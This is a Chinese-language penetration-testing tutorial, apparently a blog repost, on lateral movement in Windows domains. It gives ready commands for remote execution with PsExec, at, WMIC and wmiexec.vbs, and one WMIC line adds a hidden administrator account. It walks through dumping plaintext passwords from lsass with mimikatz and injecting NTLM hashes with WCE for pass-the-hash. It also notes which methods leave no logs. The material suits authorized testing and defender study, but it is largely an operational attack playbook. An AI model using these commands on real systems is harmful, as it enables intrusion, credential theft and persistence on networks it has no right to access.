zoukankan      html  css  js  c++  java
  • 域渗透基础(二)

    (该文参考整理自网上文章,相关链接附于文末)

    远程命令执行

    PSEXEC

    psexec是pstools工具包中的一个工具,可在微软官网直接下载。是轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

    psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec \192.168.1.2 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。

    执行原理

    1、通过ipc$连接,释放psexesvc.exe到目标。
    2、通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
    3、客户端连接执行命令,服务端启动相应的程序并执行回显数据。

    (运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般来讲不太推荐在渗透时使用psexec,可用wmic,wmiexec等)

    常用命令

    获取管理员用户权限的交互式 shell

    psexec \192.168.17.138 -Administrator -p pass cmd

    获取普通用户权限的交互式 shell,要想获取管理员权限 shell ,需要添加-h 参数。

    psexec \192.168.17.138 -u test -p pass cmd

    在远程系统上以 system 权限执行单条命令,有时回显只有一行,原因尚不清楚。

    psexec \192.168.17.138 -Administrator -p pass -s cmd /c "quser"

    在远程系统上执行 bat 脚本

    psexec \192.168.17.138 -Administrator -p pass c:programdata est.bat

    拷贝文件到远程机器并以交互方式运行,运行结束后会删除

    psexec \192.168.17.138 -c C:Users estDesktopGetHashes.exe

    其它参数

    –accepteula 第一次运行会弹框,输入这个参数便不会弹框
    s 以 “nt authoritysystem” 权限运行远程进程
    h 如果可以,以管理员权限运行远程进程
    d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项
    \ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令

    工具说明

    需要远程系统开启 ADMIN$ 共享
    建立 ipc 连接后可以不指定用户名和密码
    不能仅拷贝文件不执行,只需要拷贝时可以建立 ipc 连接后c opy
    在启动psExec建立连接之后,远程系统上会被安装一个服务:PSEXESVC。安装服务会留下日志,而且psexec退出时有可能服务删除失败,所以不推荐使用psexec

    net use+at

    建立一个ipc连接

    net use \192.168.17.138C$ "pass" /u:"workgroupAdministrator"

    拷贝文件到远程系统上

    copy s.exe \192.168.17.138c$RECYCLER

    查看远程主机当前时间

    net time \192.168.17.138

    添加计划任务在远程系统上执行命令

    at \192.168.17.138 15:18 cmd.exe /"ipconfig /all >c:programdataerror.log"

    添加计划任务在远程系统上执行bat脚本

    at \192.168.17.138 15:18 c:programdata est.bat

    查看at任务列表

    at \192.168.17.138

    删除at计划任务,运行完成后一定要删除计划任务!

    at \192.168.17.138 1 /delete

    查看所有ipc连接

    net use

    删除指定ipc连接

    net use \192.168.17.138C$ /del

    删除所有ipc连接(删除前记得确认是否都是自己测试中建立的连接)

    net use * /del /y

    WMIC

    WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用 wmi 来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用 wmic 进行远程执行命令。

    常用命令

    在远程系统上执行 bat 脚本

    wmic /node:192.168.17.138 /user:test /password:pass process call create c:programdata est.bat

    在远程系统上执行单条命令

    wmic /node:192.168.17.138 /user:test /password:pass process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

    工具说明

    1、需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
    2、远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
    3、wmic 会以管理员权限在远程系统上执行命令
    4、防火墙开启将无法连接
    5、如果报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来即可正常执行。

    WMIEXEC

    WMI 可以远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。

    常用命令

    获取半交互式shell

    cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 username password

    在远程系统上执行单条命令

    cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password "cmdkey /list"

    在远程系统上执行 bat 脚本

    cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password c:programdata est.bat

    上面是提供账号密码的情况,如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。

    Tips:如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash即可。

    其它参数

    -wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令

    (由于WMI只负责创建进程,没有办法可以判断命令是否执行完毕,所以脚本采用的方法是延迟1200ms后读取结果文件,但是如果命令执行的时间大于1200ms,比如systeminfo 或者ping之类的,这时候读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。比如ping结果不能读取完整,而且命令执行完后目标服务器上的wmi.dll结果文件并没有被删除!为了防止出现这种情况,于是在shell模式里面加入了-waitTIME选项,TIME是要等待的时间。当执行的命令后面跟上-wait5000时,表示这个命令等待5s后再读取结果。)

    -persist 程序会在后台运行,不会有结果输出

    (由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。 所以用这个执行木马会有问题,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写,如果执行不带任何参数的nc.exe也是这种效果 出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。 为了解决这个问题,加入了-persist选项。 当命令加了persist选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。 这样就可以运行nc或者木马程序了)

    下面这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时
    间的,可以自行更改。

    Const Path = "C:"

    Const FileName = "wmi.dll"

    Const timeOut = 1200

    工具说明

    需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
    远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
    wmicexec.vbs 会以管理员权限在远程系统上执行命令
    virustotal 显示 wmiexec.vbs 会被 Kaspersky、Symantec 和 ZoneAlarm查杀

    mimikatz

    mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点是他可以直接从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

    命令

    • cls—————————–清屏
    • exit—————————-退出
    • version————查看mimikatz的版本
    • system::user—–查看当前登录的系统用户
    • system::computer——-查看计算机名称
    • process::list——————列出进程
    • process::suspend 进程名称 —–暂停进程
    • process::stop 进程名称———结束进程
    • process::modules –列出系统的核心模块及所在位置
    • service::list—————列出系统的服务
    • service::remove———–移除系统的服务
    • service::start stop 服务名称–启动或停止服务
    • privilege::list—————列出权限列表
    • privilege::enable——–激活一个或多个权限
    • privilege::debug—————–提升权限
    • nogpo::cmd————打开系统的cmd.exe
    • nogpo::regedit ———–打开系统的注册表
    • nogpo::taskmgr————-打开任务管理器
    • ts::sessions—————–显示当前的会话
    • ts::processes——显示进程和对应的pid情况等
    • sekurlsa::wdigest—–获取本地用户信息及密码
    • sekurlsa::tspkg——获取tspkg用户信息及密码
    • sekurlsa::logonPasswords–获登陆用户信息及密码

    获取windows 登陆密码

    第一步:根据你系统选择对应的版本,双击打开

    第二步:输入输入privilege::debug 提升权限

    第三步:输入inject::process lsass.exe sekurlsa.dll 将sekurlsa.dll 注入到lsass.exe 中

    第四步:输入sekurlsa::logonPasswords full 即可获取hash和当前用户的明文密码

    哈希传递攻击(Pass The Hash,PTH)

    如果内网主机的本地管理员账户密码相同,那么可以通过pass the hash远程登录到任意一台主机,操作简单、威力无穷。

    在域环境中,利用pass the hash的渗透方式往往是这样的:

    1. 获得一台域主机的权限
    2. Dump内存获得用户hash
    3. 通过pass the hash尝试登录其他主机
    4. 继续搜集hash并尝试远程登录
    5. 直到获得域管理员账户hash,登录域控,最终成功控制整个域

    原理

    • 在Windows系统中,通常会使用NTLM身份认证
    • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
    • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
    • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

    使用wce进行hash注入

    在内网渗透时,很经常会碰到好不容易提取出了hash,但是无法破解。

    wce号称内网渗透神器,其中有一个功能就是hash注入。

    测试环境:

    目标  windows2008 【192.168.200.128】hash如下:

    测试机:

    windows7【192.168.200.5】

    在无法破解192.168.200.128的administrator密码时,我们可以采用hash注入

    先dir目标的c$(前提是目标有开启C盘共享)

    会提示账号密码错误。

    使用wce

    格式:
    wce.exe -s 账号:主机名或域的名字:LM:NTLM

    提示注入完成。

    再dir目标机器的C盘试试

     

    参考:

    远程命令执行 wmiexec

    利用WMI代替psexec——WMIEXEC.vbs

    法国神器直接获取windows登陆密码

    域渗透——Pass The Hash的实现

    域渗透——Pass The Hash & Pass The Key – 三好学生

    如何使用wce进行hash注入

  • 相关阅读:
    npm安装elasticsearch-reindex
    Linux14_文本编辑器与终端配置
    Linux13_群组的管理和文件权限的管理
    Linux12_用户和权限
    Linux11_文件及目录以及其相关的组织命令
    Linux10_常用命令和操作
    Linux9_安装Linux系统
    基础概念——什么是POSIX
    C++Review21_宏和常量
    C++Review20_C++函数高级特性(重载、内联、const和virtual)
  • 原文地址:https://www.cnblogs.com/leixiao-/p/10586804.html
Copyright © 2011-2022 走看看